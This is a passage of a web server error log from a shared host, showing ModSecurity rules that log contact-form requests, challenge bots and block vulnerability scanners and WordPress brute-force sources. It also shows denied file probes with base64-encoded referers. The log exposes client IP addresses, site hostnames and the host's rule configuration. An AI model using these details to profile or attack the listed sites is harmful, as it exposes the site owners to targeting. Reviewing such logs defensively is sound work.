"/(contact(o|.?us)?|wp-comments-post|(send)?.?(form.)?e?mail(er)?|memberlist|send|contact.form(.handler)?|thankyou|leafmailer[0-9.]*)\\\\.php" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1546"] [id "900923"] [msg "contact form logging"] [hostname "www.torquayfans.com"] [uri "/memberlist.php"] [unique_id "ai30QtyTkdrNlD40tSHNjAAAOiA"], referer: https://www.torquayfans.com [Sat Jun 13 18:22:26.793164 2026] [security2:error] [pid 646876:tid 646911] [remote 86.23.134.229:0] ModSecurity: Access denied with code 409 (phase 2). Match of "eq 1" against "&REQUEST_COOKIES:humans_21909" required. [file "/opt/mod_security/hg_rules.conf"] [line "1552"] [id "900424"] [msg "Transparent Bot Detection for Contact Forms"] [hostname "www.torquayfans.com"] [uri "/memberlist.php"] [unique_id "ai30QtyTkdrNlD40tSHNjAAAOiA"], referer: https://www.torquayfans.com [Sat Jun 13 18:22:26.883434 2026] [security2:error] [pid 715691:tid 715777] [remote 17.241.227.171:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 171.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30QrV-dFiaX9AtWiQamQABhkI"] [Sat Jun 13 18:22:26.969842 2026] [security2:error] [pid 646876:tid 646942] [remote 78.146.230.63:0] ModSecurity: Warning. Pattern match "/(contact(o|.?us)?|wp-comments-post|(send)?.?(form.)?e?mail(er)?|memberlist|send|contact.form(.handler)?|thankyou|leafmailer[0-9.]*)\\\\.php" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1546"] [id "900923"] [msg "contact form logging"] [hostname "www.torquayfans.com"] [uri "/memberlist.php"] [unique_id "ai30QtyTkdrNlD40tSHNkQAAFT8"], referer: https://www.torquayfans.com [Sat Jun 13 18:22:26.969883 2026] [security2:error] [pid 646876:tid 646942] [remote 78.146.230.63:0] ModSecurity: Access denied with code 409 (phase 2). Match of "eq 1" against "&REQUEST_COOKIES:humans_21909" required. [file "/opt/mod_security/hg_rules.conf"] [line "1552"] [id "900424"] [msg "Transparent Bot Detection for Contact Forms"] [hostname "www.torquayfans.com"] [uri "/memberlist.php"] [unique_id "ai30QtyTkdrNlD40tSHNkQAAFT8"], referer: https://www.torquayfans.com [Sat Jun 13 18:22:27.126403 2026] [security2:error] [pid 715691:tid 715711] [remote 17.22.253.99:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 99.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30Q7V-dFiaX9AtWiQaoQABPgE"] [Sat Jun 13 18:22:27.131706 2026] [security2:error] [pid 715691:tid 715736] [remote 210.211.99.176:56966] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 176.99.211.210.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "costechacademy.com"] [uri "/wp-login.php"] [unique_id "ai30Q7V-dFiaX9AtWiQaowABMRo"], referer: https://costechacademy.com/wp-login.php [Sat Jun 13 18:22:27.220234 2026] [access_compat:error] [pid 715691:tid 715742] [remote 57.141.14.94:61032] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:27.220699 2026] [access_compat:error] [pid 715691:tid 715742] [remote 57.141.14.94:61032] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:27.276993 2026] [access_compat:error] [pid 646876:tid 646973] [remote 57.141.14.53:32808] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:27.277439 2026] [access_compat:error] [pid 646876:tid 646973] [remote 57.141.14.53:32808] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:27.327446 2026] [access_compat:error] [pid 646876:tid 646963] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9ldmVudDEvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvZGV2aWNl [Sat Jun 13 18:22:27.327734 2026] [access_compat:error] [pid 646876:tid 646963] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9ldmVudDEvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvZGV2aWNl [Sat Jun 13 18:22:27.372453 2026] [security2:error] [pid 715691:tid 715745] [remote 17.22.253.30:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 30.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30Q7V-dFiaX9AtWiQaqwABTSM"] [Sat Jun 13 18:22:27.505052 2026] [security2:error] [pid 715691:tid 715755] [remote 17.241.219.197:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 197.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30Q7V-dFiaX9AtWiQasAABFC0"] [Sat Jun 13 18:22:27.639115 2026] [access_compat:error] [pid 715691:tid 715837] [remote 57.141.14.67:59369] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:27.639389 2026] [access_compat:error] [pid 715691:tid 715837] [remote 57.141.14.67:59369] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:27.797732 2026] [access_compat:error] [pid 646876:tid 646888] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQ3L2V2ZW50Ni9zdWJzeXN0ZW0vaW5wdXQyL2RldmljZQ== [Sat Jun 13 18:22:27.798133 2026] [access_compat:error] [pid 646876:tid 646888] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQ3L2V2ZW50Ni9zdWJzeXN0ZW0vaW5wdXQyL2RldmljZQ== [Sat Jun 13 18:22:27.898713 2026] [access_compat:error] [pid 715691:tid 715760] [remote 57.141.14.59:53779] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:27.899201 2026] [access_compat:error] [pid 715691:tid 715760] [remote 57.141.14.59:53779] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:27.950372 2026] [security2:error] [pid 715691:tid 715835] [remote 17.241.219.48:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 48.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30Q7V-dFiaX9AtWiQaygABgHw"] [Sat Jun 13 18:22:27.988015 2026] [security2:error] [pid 715691:tid 715758] [remote 92.17.218.120:0] ModSecurity: Warning. Pattern match "/(contact(o|.?us)?|wp-comments-post|(send)?.?(form.)?e?mail(er)?|memberlist|send|contact.form(.handler)?|thankyou|leafmailer[0-9.]*)\\\\.php" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1546"] [id "900923"] [msg "contact form logging"] [hostname "www.torquayfans.com"] [uri "/memberlist.php"] [unique_id "ai30Q7V-dFiaX9AtWiQayQABKi8"], referer: https://www.torquayfans.com [Sat Jun 13 18:22:27.988053 2026] [security2:error] [pid 715691:tid 715758] [remote 92.17.218.120:0] ModSecurity: Access denied with code 409 (phase 2). Match of "eq 1" against "&REQUEST_COOKIES:humans_21909" required. [file "/opt/mod_security/hg_rules.conf"] [line "1552"] [id "900424"] [msg "Transparent Bot Detection for Contact Forms"] [hostname "www.torquayfans.com"] [uri "/memberlist.php"] [unique_id "ai30Q7V-dFiaX9AtWiQayQABKi8"], referer: https://www.torquayfans.com [Sat Jun 13 18:22:28.204471 2026] [access_compat:error] [pid 715691:tid 715776] [remote 57.141.14.29:38379] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:28.204788 2026] [access_compat:error] [pid 715691:tid 715776] [remote 57.141.14.29:38379] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:28.339144 2026] [access_compat:error] [pid 646876:tid 646907] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9kZXZpY2UvbW91c2UwL2RldmljZS9tb3VzZTAvZGV2aWNlL2V2ZW50My9kZXZpY2U= [Sat Jun 13 18:22:28.339401 2026] [access_compat:error] [pid 646876:tid 646907] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9kZXZpY2UvbW91c2UwL2RldmljZS9tb3VzZTAvZGV2aWNlL2V2ZW50My9kZXZpY2U= [Sat Jun 13 18:22:28.362998 2026] [access_compat:error] [pid 715691:tid 715780] [remote 57.141.14.82:56136] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:28.363321 2026] [access_compat:error] [pid 715691:tid 715780] [remote 57.141.14.82:56136] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:28.535923 2026] [security2:error] [pid 715691:tid 715801] [remote 17.22.245.251:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 251.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30RLV-dFiaX9AtWiQa3AABG1o"] [Sat Jun 13 18:22:28.582515 2026] [security2:error] [pid 715691:tid 715832] [remote 17.246.15.205:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 205.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30RLV-dFiaX9AtWiQa3gABWHk"] [Sat Jun 13 18:22:28.762944 2026] [security2:error] [pid 715691:tid 715905] [client 172.56.168.133:41918] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 133.168.56.172.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai30RLV-dFiaX9AtWiQa4wAAAUo"] [Sat Jun 13 18:22:28.772537 2026] [security2:error] [pid 715691:tid 715905] [client 172.56.168.133:41918] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai30RLV-dFiaX9AtWiQa4wAAAUo"] [Sat Jun 13 18:22:28.835702 2026] [security2:error] [pid 646876:tid 647034] [client 210.217.96.217:63412] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 217.96.217.210.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai30RNyTkdrNlD40tSHNsgAAABo"] [Sat Jun 13 18:22:28.835845 2026] [security2:error] [pid 646876:tid 647034] [client 210.217.96.217:63412] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai30RNyTkdrNlD40tSHNsgAAABo"] [Sat Jun 13 18:22:28.856804 2026] [access_compat:error] [pid 646876:tid 646997] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9kZXZpY2Uvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQyL2RldmljZQ== [Sat Jun 13 18:22:28.857085 2026] [access_compat:error] [pid 646876:tid 646997] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9kZXZpY2Uvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQyL2RldmljZQ== [Sat Jun 13 18:22:28.936043 2026] [security2:error] [pid 646876:tid 647112] [client 216.73.216.11:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 11.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/date/tests/bug28088.phpt"] [unique_id "ai30RNyTkdrNlD40tSHNtQAAAGg"] [Sat Jun 13 18:22:28.986292 2026] [access_compat:error] [pid 715691:tid 715735] [remote 57.141.14.113:41414] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:28.986736 2026] [access_compat:error] [pid 715691:tid 715735] [remote 57.141.14.113:41414] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:29.098973 2026] [access_compat:error] [pid 715691:tid 715807] [remote 57.141.14.99:56140] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:29.099251 2026] [access_compat:error] [pid 715691:tid 715807] [remote 57.141.14.99:56140] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:29.163701 2026] [security2:error] [pid 715691:tid 715775] [remote 164.138.220.142:44236] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 142.220.138.164.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "mail.inplace-design.com"] [uri "/wp-login.php"] [unique_id "ai30RbV-dFiaX9AtWiQa8gABRkA"], referer: https://mail.inplace-design.com/wp-login.php [Sat Jun 13 18:22:29.168868 2026] [security2:error] [pid 715691:tid 715819] [remote 17.22.245.253:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 253.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30RbV-dFiaX9AtWiQa9AABVGw"] [Sat Jun 13 18:22:29.377127 2026] [access_compat:error] [pid 646876:tid 646960] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQ1L3N1YnN5c3RlbS9pbnB1dDYvY2FwYWJpbGl0aWVz [Sat Jun 13 18:22:29.377469 2026] [access_compat:error] [pid 646876:tid 646960] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQ1L3N1YnN5c3RlbS9pbnB1dDYvY2FwYWJpbGl0aWVz [Sat Jun 13 18:22:29.603010 2026] [access_compat:error] [pid 715691:tid 715799] [remote 57.141.14.30:22530] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:29.603289 2026] [access_compat:error] [pid 715691:tid 715799] [remote 57.141.14.30:22530] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:29.624835 2026] [access_compat:error] [pid 646876:tid 646904] [remote 57.141.14.14:36402] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:29.625120 2026] [access_compat:error] [pid 646876:tid 646904] [remote 57.141.14.14:36402] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:29.675665 2026] [security2:error] [pid 646876:tid 646882] [remote 17.246.23.222:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 222.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30RdyTkdrNlD40tSHNwQAAEAM"] [Sat Jun 13 18:22:29.920114 2026] [access_compat:error] [pid 646876:tid 646961] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQyL3N1YnN5c3RlbS9pbnB1dDU= [Sat Jun 13 18:22:29.920583 2026] [access_compat:error] [pid 646876:tid 646961] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: 